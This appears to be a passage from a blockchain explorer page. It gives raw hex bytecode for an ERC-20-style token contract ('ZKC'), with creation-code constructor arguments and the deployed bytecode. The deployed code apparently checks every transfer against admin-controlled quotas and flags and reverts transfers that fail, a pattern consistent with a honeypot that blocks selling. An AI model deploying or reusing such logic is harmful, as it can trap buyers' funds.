ffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611b8e578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051611b859190612b5f565b60405180910390a35b50505050565b60605f8273ffffffffffffffffffffffffffffffffffffffff165f1b90505f6040518060400160405280601081526020017f303132333435363738396162636465660000000000000000000000000000000081525090505f602a67ffffffffffffffff811115611c0757611c06612c56565b5b6040519080825280601f01601f191660200182016040528015611c395781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f81518110611c7057611c6f613270565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611cd357611cd2613270565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f5f90505b6014811015611e865782600485600c84611d2091906137f1565b60208110611d3157611d30613270565b5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916901c60f81c60ff1681518110611d7057611d6f613270565b5b602001015160f81c60f81b82600283611d899190613443565b6002611d9591906137f1565b81518110611da657611da5613270565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a90535082600f60f81b85600c84611de891906137f1565b60208110611df957611df8613270565b5b1a60f81b1660f81c60ff1681518110611e1557611e14613270565b5b602001015160f81c60f81b82600283611e2e9190613443565b6003611e3a91906137f1565b81518110611e4b57611e4a613270565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053508080600101915050611d06565b50809350505050919050565b60605f8203611ed8576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611fe6565b5f8290505f5b5f8214611f07578080611ef090613824565b915050600a82611f009190613898565b9150611ede565b5f8167ffffffffffffffff811115611f2257611f21612c56565b5b6040519080825280601f01601f191660200182016040528015611f545781602001600182028036833780820191505090505b5090505b5f8514611fdf57600182611f6c91906138c8565b9150600a85611f7b91906138fb565b6030611f8791906137f1565b60f81b818381518110611f9d57611f9c613270565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600a85611fd89190613898565b9450611f58565b8093505050505b919050565b5f6003825114612030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202790613975565b60405180910390fd5b5f825f8151811061204457612043613270565b5b602002602001015190505f8360018151811061206357612062613270565b5b602002602001015190505f6120928560028151811061208557612084613270565b5b602002602001015161289c565b905060066040516020016120a69190613a13565b60405160208183030381529060405280519060200120836040516020016120cd9190612feb565b6040516020818303038152906040528051906020012014801561217e575060095460085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612158573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061217c9190613498565b105b80156121e15750600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f20826040516121c49190612feb565b90815260200160405180910390205f9054906101000a900460ff16155b156121f1575f935050505061262a565b5f6007541261240557600460405160200161220c9190613a13565b60405160208183030381529060405280519060200120600b5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516122609190612feb565b908152602001604051809103902060405160200161227e9190613a13565b60405160208183030381529060405280519060200120036124005780600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516122d89190612feb565b90815260200160405180910390205f815481106122f8576122f7613270565b5b905f5260205f2001541015801561230e57505f81115b156123f45780600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516123529190612feb565b90815260200160405180910390205f8154811061237257612371613270565b5b905f5260205f20015461238591906138c8565b600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516123c39190612feb565b90815260200160405180910390205f815481106123e3576123e2613270565b5b905f5260205f2001819055506123ff565b5f935050505061262a565b5b612622565b60066040516020016124179190613a13565b604051602081830303815290604052805190602001208360405160200161243e9190612feb565b6040516020818303038152906040528051906020012014806124b65750600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f208360405161249a9190612feb565b90815260200160405180910390205f9054906101000a900460ff165b6126215780600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516124f99190612feb565b90815260200160405180910390205f8154811061251957612518613270565b5b905f5260205f2001541015801561252f57505f81115b156126155780600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516125739190612feb565b90815260200160405180910390205f8154811061259357612592613270565b5b905f5260205f2001546125a691906138c8565b600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516125e49190612feb565b90815260200160405180910390205f8154811061260457612603613270565b5b905f5260205f200181905550612620565b5f935050505061262a565b5b5b600193505050505b919050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361267f578060035f82825461267391906137f1565b9250508190555061274f565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612709578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401612700939291906135de565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612796578060035f82825403925050819055506127e1565b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161283e9190612b5f565b60405180910390a3505050565b6128558282610db4565b6128985780826040517fe2517d3f00000000000000000000000000000000000000000000000000000000815260040161288f929190613a29565b60405180910390fd5b5050565b5f5f8290505f5f90505f5f90505b8251811015612926575f8382815181106128c7576128c6613270565b5b602001015160f81c60f81b60f81c60ff169050603081101580156128ec575060398111155b15612918576030816128fe91906138c8565b600a8461290b9190613443565b61291591906137f1565b92505b5080806001019150506128aa565b508092505050919050565b5f604051905090565b5f5ffd5b5f5ffd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b61297681612942565b8114612980575f5ffd5b50565b5f813590506129918161296d565b92915050565b5f602082840312156129ac576129ab61293a565b5b5f6129b984828501612983565b91505092915050565b5f8115159050919050565b6129d6816129c2565b82525050565b5f6020820190506129ef5f8301846129cd565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612a37826129f5565b612a4181856129ff565b9350612a51818560208601612a0f565b612a5a81612a1d565b840191505092915050565b5f6020820190508181035f830152612a7d8184612a2d565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612aae82612a85565b9050919050565b612abe81612aa4565b8114612ac8575f5ffd5b50565b5f81359050612ad981612ab5565b92915050565b5f819050919050565b612af181612adf565b8114612afb575f5ffd5b50565b5f81359050612b0c81612ae8565b92915050565b5f5f60408385031215612b2857612b2761293a565b5b5f612b3585828601612acb565b9250506020612b4685828601612afe565b9150509250929050565b612b5981612adf565b82525050565b5f602082019050612b725f830184612b50565b92915050565b5f5f5f60608486031215612b8f57612b8e61293a565b5b5f612b9c86828701612acb565b9350506020612bad86828701612acb565b9250506040612bbe86828701612afe565b9150509250925092565b5f819050919050565b612bda81612bc8565b82525050565b5f602082019050612bf35f830184612bd1565b92915050565b612c0281612bc8565b8114612c0c575f5ffd5b50565b5f81359050612c1d81612bf9565b92915050565b5f60208284031215612c3857612c3761293a565b5b5f612c4584828501612c0f565b91505092915050565b5f5ffd5b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612c8c82612a1d565b810181811067ffffffffffffffff82111715612cab57612caa612c56565b5b80604052505050565b5f612cbd612931565b9050612cc98282612c83565b919050565b5f67ffffffffffffffff821115612ce857612ce7612c56565b5b612cf182612a1d565b9050602081019050919050565b828183375f83830152505050565b5f612d1e612d1984612cce565b612cb4565b905082815260208101848484011115612d3a57612d39612c52565b5b612d45848285612cfe565b509392505050565b5f82601f830112612d6157612d60612c4e565b5b8135612d71848260208601612d0c565b91505092915050565b5f60208284031215612d8f57612d8e61293a565b5b5f82013567ffffffffffffffff811115612dac57612dab61293e565b5b612db884828501612d4d565b91505092915050565b5f5f60408385031215612dd757612dd661293a565b5b5f612de485828601612c0f565b9250506020612df585828601612acb565b9150509250929050565b5f60ff82169050919050565b612e1481612dff565b82525050565b5f602082019050612e2d5f830184612e0b565b92915050565b5f819050919050565b612e4581612e33565b8114612e4f575f5ffd5b50565b5f81359050612e6081612e3c565b92915050565b5f60208284031215612e7b57612e7a61293a565b5b5f612e8884828501612e52565b91505092915050565b5f60208284031215612ea657612ea561293a565b5b5f612eb384828501612acb565b91505092915050565b5f5f60408385031215612ed257612ed161293a565b5b5f83013567ffffffffffffffff811115612eef57612eee61293e565b5b612efb85828601612d4d565b9250506020612f0c85828601612afe565b9150509250929050565b5f5f60408385031215612f2c57612f2b61293a565b5b5f612f3985828601612acb565b9250506020612f4a85828601612acb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612f9857607f821691505b602082108103612fab57612faa612f54565b5b50919050565b5f81905092915050565b5f612fc5826129f5565b612fcf8185612fb1565b9350612fdf818560208601612a0f565b80840191505092915050565b5f612ff68284612fbb565b915081905092915050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261305d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82613022565b6130678683613022565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6130a261309d61309884612adf565b61307f565b612adf565b9050919050565b5f819050919050565b6130bb83613088565b6130cf6130c7826130a9565b84845461302e565b825550505050565b5f5f905090565b6130e66130d7565b6130f18184846130b2565b505050565b5b81811015613114576131095f826130de565b6001810190506130f7565b5050565b601f8211156131595761312a81613001565b61313384613013565b81016020851015613142578190505b61315661314e85613013565b8301826130f6565b50505b505050565b5f82821c905092915050565b5f6131795f198460080261315e565b1980831691505092915050565b5f613191838361316a565b9150826002028217905092915050565b6131aa826129f5565b67ffffffffffffffff8111156131c3576131c2612c56565b5b6131cd8254612f81565b6131d8828285613118565b5f60209050601f831160018114613209575f84156131f7578287015190505b6132018582613186565b865550613268565b601f19841661321786613001565b5f5b8281101561323e57848901518255600182019150602085019450602081019050613219565b8683101561325b5784890151613257601f89168261316a565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561331f578086048111156132fb576132fa61329d565b5b600185161561330a5780820291505b8081029050613318856132ca565b94506132df565b94509492505050565b5f8261333757600190506133f2565b81613344575f90506133f2565b816001811461335a576002811461336457613393565b60019150506133f2565b60ff8411156133765761337561329d565b5b8360020a91508482111561338d5761338c61329d565b5b506133f2565b5060208310610133831016604e8410600b84101617156133c85782820a9050838111156133c3576133c261329d565b5b6133f2565b6133d584848460016132d6565b925090508184048111156133ec576133eb61329d565b5b81810290505b9392505050565b5f61340382612adf565b915061340e83612dff565b925061343b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613328565b905092915050565b5f61344d82612adf565b915061345883612adf565b925082820261346681612adf565b9150828204841483151761347d5761347c61329d565b5b5092915050565b5f8151905061349281612ae8565b92915050565b5f602082840312156134ad576134ac61293a565b5b5f6134ba84828501613484565b91505092915050565b5f815490506134d181612f81565b9050919050565b5f819050815f5260205f209050919050565b8181036134f85750506135cd565b613501826134c3565b67ffffffffffffffff81111561351a57613519612c56565b5b6135248254612f81565b61352f828285613118565b5f601f83116001811461355c575f841561354a578287015490505b6135548582613186565b8655506135c6565b601f19841661356a876134d8565b965061357586613001565b5f5b8281101561359c57848901548255600182019150600185019450602081019050613577565b868310156135b957848901546135b5601f89168261316a565b8355505b6001600288020188555050505b5050505050505b565b6135d881612aa4565b82525050565b5f6060820190506135f15f8301866135cf565b6135fe6020830185612b50565b61360b6040830184612b50565b949350505050565b5f6020820190506136265f8301846135cf565b92915050565b7f496e76616c69642061646472657373206c656e677468000000000000000000005f82015250565b5f6136606016836129ff565b915061366b8261362c565b602082019050919050565b5f6020820190508181035f83015261368d81613654565b9050919050565b5f61369e82612a85565b91506136a983612a85565b9250828203905073ffffffffffffffffffffffffffffffffffffffff8111156136d5576136d461329d565b5b92915050565b7f496e76616c69642063686172616374657220696e2061646472657373207374725f8201527f696e672e00000000000000000000000000000000000000000000000000000000602082015250565b5f6137356024836129ff565b9150613740826136db565b604082019050919050565b5f6020820190508181035f83015261376281613729565b9050919050565b5f61377382612a85565b915061377e83612a85565b925082820261378c81612a85565b915082820484148315176137a3576137a261329d565b5b5092915050565b5f6137b482612a85565b91506137bf83612a85565b9250828201905073ffffffffffffffffffffffffffffffffffffffff8111156137eb576137ea61329d565b5b92915050565b5f6137fb82612adf565b915061380683612adf565b925082820190508082111561381e5761381d61329d565b5b92915050565b5f61382e82612adf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036138605761385f61329d565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6138a282612adf565b91506138ad83612adf565b9250826138bd576138bc61386b565b5b828204905092915050565b5f6138d282612adf565b91506138dd83612adf565b92508282039050818111156138f5576138f461329d565b5b92915050565b5f61390582612adf565b915061391083612adf565b9250826139205761391f61386b565b5b828206905092915050565b7f496e76616c696420706172616d6574657220636f756e740000000000000000005f82015250565b5f61395f6017836129ff565b915061396a8261392b565b602082019050919050565b5f6020820190508181035f83015261398c81613953565b9050919050565b5f815461399f81612f81565b6139a98186612fb1565b9450600182165f81146139c357600181146139d857613a0a565b60ff1983168652811515820286019350613a0a565b6139e185613001565b5f5b83811015613a02578154818901526001820191506020810190506139e3565b838801955050505b50505092915050565b5f613a1e8284613993565b915081905092915050565b5f604082019050613a3c5f8301856135cf565b613a496020830184612bd1565b939250505056fea2646970667358221220540f2b140358c9a47855fb299bfb5e0fda1e9002eb623fed3e83c51f29acc94864736f6c634300081c0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000077359400000000000000000000000000452d771af8a196ae0385116c2dd84dca1449202f00000000000000000000000000000000000000000000000000000000000000035a4b43000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035a4b430000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f5ffd5b50600436106101d8575f3560e01c806370a0823111610102578063a9059cbb116100a0578063cdd78e8f1161006f578063cdd78e8f14610578578063d547741f14610596578063dd62ed3e146105b2578063e2dc6029146105e2576101d8565b8063a9059cbb146104f2578063b54e5ccc14610522578063bb5f913314610540578063be4689cf1461055c576101d8565b80637edbe3fb116100dc5780637edbe3fb1461047e57806391d148541461049a57806395d89b41146104ca578063a21d3ac9146104e8576101d8565b806370a08231146104005780637ae641d9146104305780637be5c5bc14610460576101d8565b80632d96617f1161017a57806341aacfe11161014957806341aacfe11461037c578063524d39b614610398578063573ac5f3146103b45780636f353028146103e4576101d8565b80632d96617f146102f65780632f2ff15d14610326578063313ce5671461034257806336568abe14610360576101d8565b806318160ddd116101b657806318160ddd1461025a57806323b872dd1461027857806323e7e610146102a8578063248a9ca3146102c6576101d8565b806301ffc9a7146101dc57806306fdde031461020c578063095ea7b31461022a575b5f5ffd5b6101f660048036038101906101f19190612997565b6105fe565b60405161020391906129dc565b60405180910390f35b610214610677565b6040516102219190612a65565b60405180910390f35b610244600480360381019061023f9190612b12565b610707565b60405161025191906129dc565b60405180910390f35b610262610729565b60405161026f9190612b5f565b60405180910390f35b610292600480360381019061028d9190612b78565b610732565b60405161029f91906129dc565b60405180910390f35b6102b0610760565b6040516102bd9190612be0565b60405180910390f35b6102e060048036038101906102db9190612c23565b610784565b6040516102ed9190612be0565b60405180910390f35b610310600480360381019061030b9190612d7a565b6107a0565b60405161031d9190612a65565b60405180910390f35b610340600480360381019061033b9190612dc1565b6108a7565b005b61034a6108c9565b6040516103579190612e1a565b60405180910390f35b61037a60048036038101906103759190612dc1565b6108d1565b005b61039660048036038101906103919190612e66565b61094c565b005b6103b260048036038101906103ad9190612d7a565b610981565b005b6103ce60048036038101906103c99190612d7a565b610a14565b6040516103db91906129dc565b60405180910390f35b6103fe60048036038101906103f99190612d7a565b610aa1565b005b61041a60048036038101906104159190612e91565b610b37565b6040516104279190612b5f565b60405180910390f35b61044a60048036038101906104459190612d7a565b610b7d565b6040516104579190612b5f565b60405180910390f35b610468610c17565b6040516104759190612b5f565b60405180910390f35b61049860048036038101906104939190612ebc565b610c20565b005b6104b460048036038101906104af9190612dc1565b610db4565b6040516104c191906129dc565b60405180910390f35b6104d2610e17565b6040516104df9190612a65565b60405180910390f35b6104f0610ea7565b005b61050c60048036038101906105079190612b12565b610f68565b60405161051991906129dc565b60405180910390f35b61052a610f8a565b6040516105379190612be0565b60405180910390f35b61055a60048036038101906105559190612d7a565b610fad565b005b61057660048036038101906105719190612d7a565b611098565b005b610580611121565b60405161058d9190612be0565b60405180910390f35b6105b060048036038101906105ab9190612dc1565b611127565b005b6105cc60048036038101906105c79190612f16565b611149565b6040516105d99190612b5f565b60405180910390f35b6105fc60048036038101906105f79190612d7a565b6111cb565b005b5f7f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610670575061066f8261125d565b5b9050919050565b60606004805461068690612f81565b80601f01602080910402602001604051908101604052809291908181526020018280546106b290612f81565b80156106fd5780601f106106d4576101008083540402835291602001916106fd565b820191905f5260205f20905b8154815290600101906020018083116106e057829003601f168201915b5050505050905090565b5f5f6107116112c6565b905061071e8185856112cd565b600191505092915050565b5f600354905090565b5f5f61073c6112c6565b90506107498582856112df565b610754858585611371565b60019150509392505050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81565b5f5f5f8381526020019081526020015f20600101549050919050565b60607f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e6107cc816115e7565b600b5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f208360405161080a9190612feb565b9081526020016040518091039020805461082390612f81565b80601f016020809104026020016040519081016040528092919081815260200182805461084f90612f81565b801561089a5780601f106108715761010080835404028352916020019161089a565b820191905f5260205f20905b81548152906001019060200180831161087d57829003601f168201915b5050505050915050919050565b6108b082610784565b6108b9816115e7565b6108c383836115fb565b50505050565b5f6012905090565b6108d96112c6565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461093d576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61094782826116e4565b505050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610976816115e7565b816007819055505050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e6109ab816115e7565b6001600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f20836040516109ec9190612feb565b90815260200160405180910390205f6101000a81548160ff0219169083151502179055505050565b5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610a3f816115e7565b600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f2083604051610a7e9190612feb565b90815260200160405180910390205f9054906101000a900460ff16915050919050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610acb816115e7565b60405180602001604052805f815250600b5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2083604051610b189190612feb565b90815260200160405180910390209081610b3291906131a1565b505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610ba8816115e7565b600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2083604051610be69190612feb565b90815260200160405180910390205f81548110610c0657610c05613270565b5b905f5260205f200154915050919050565b5f600954905090565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610c4a816115e7565b5f610c536108c9565b600a610c5f91906133f9565b90505f600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2085604051610ca09190612feb565b90815260200160405180910390208054905003610d3757600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2084604051610cf59190612feb565b90815260200160405180910390208184610d0f9190613443565b908060018154018082558091505060019003905f5260205f20015f9091909190915055610dae565b8083610d439190613443565b600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2085604051610d819190612feb565b90815260200160405180910390205f81548110610da157610da0613270565b5b905f5260205f2001819055505b50505050565b5f5f5f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060058054610e2690612f81565b80601f0160208091040260200160405190810160405280929190818152602001828054610e5290612f81565b8015610e9d5780601f10610e7457610100808354040283529160200191610e9d565b820191905f5260205f20905b815481529060010190602001808311610e8057829003601f168201915b5050505050905090565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610ed1816115e7565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f3b573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f5f9190613498565b60098190555050565b5f5f610f726112c6565b9050610f7f818585611371565b600191505092915050565b7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610fd7816115e7565b8160069081610fe691906131a1565b506001600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f20836040516110289190612feb565b90815260200160405180910390205f6101000a81548160ff021916908315150217905550611055826117cd565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e6110c2816115e7565b6004600b5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20836040516111029190612feb565b9081526020016040518091039020908161111c91906134ea565b505050565b5f5f1b81565b61113082610784565b611139816115e7565b61114383836116e4565b50505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e6111f5816115e7565b5f600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f20836040516112359190612feb565b90815260200160405180910390205f6101000a81548160ff0219169083151502179055505050565b5f7f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b5f33905090565b6112da83838360016119c5565b505050565b5f6112ea8484611149565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461136b578181101561135c578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401611353939291906135de565b60405180910390fd5b61136a84848484035f6119c5565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113e1575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016113d89190613613565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611451575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016114489190613613565b60405180910390fd5b5f600367ffffffffffffffff81111561146d5761146c612c56565b5b6040519080825280602002602001820160405280156114a057816020015b606081526020019060019003908161148b5790505b5090506114ac84611b94565b815f815181106114bf576114be613270565b5b60200260200101819052506114d383611b94565b816001815181106114e7576114e6613270565b5b60200260200101819052506114fb82611e92565b8160028151811061150f5761150e613270565b5b602002602001018190525061152381611feb565b61152b575f5ffd5b61153684848461262f565b5f6006805461154490612f81565b905011156115e15760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115b6573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115da9190613498565b6009819055505b50505050565b6115f8816115f36112c6565b61284b565b50565b5f6116068383610db4565b6116da5760015f5f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506116776112c6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4600190506116de565b5f90505b92915050565b5f6116ef8383610db4565b156117c3575f5f5f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506117606112c6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a4600190506117c7565b5f90505b92915050565b5f5f829050602a815114611816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180d90613676565b60405180910390fd5b5f5f90505f600290505b602a8110156119ba575f83828151811061183d5761183c613270565b5b602001015160f81c60f81b60f81c60ff16905060308173ffffffffffffffffffffffffffffffffffffffff161015801561188e575060398173ffffffffffffffffffffffffffffffffffffffff1611155b156118a7576030816118a09190613694565b9050611992565b60418173ffffffffffffffffffffffffffffffffffffffff16101580156118e5575060468173ffffffffffffffffffffffffffffffffffffffff1611155b156118fe576037816118f79190613694565b9050611991565b60618173ffffffffffffffffffffffffffffffffffffffff161015801561193c575060668173ffffffffffffffffffffffffffffffffffffffff1611155b156119555760578161194e9190613694565b9050611990565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119879061374b565b60405180910390fd5b5b5b806010846119a09190613769565b6119aa91906137aa565b9250508080600101915050611820565b508092505050919050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611a35575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401611a2c9190613613565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611aa5575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401611a9c9190613613565b60405180910390fd5b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611b8e578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051611b859190612b5f565b60405180910390a35b50505050565b60605f8273ffffffffffffffffffffffffffffffffffffffff165f1b90505f6040518060400160405280601081526020017f303132333435363738396162636465660000000000000000000000000000000081525090505f602a67ffffffffffffffff811115611c0757611c06612c56565b5b6040519080825280601f01601f191660200182016040528015611c395781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f81518110611c7057611c6f613270565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611cd357611cd2613270565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f5f90505b6014811015611e865782600485600c84611d2091906137f1565b60208110611d3157611d30613270565b5b1a60f81b7efffffffffffff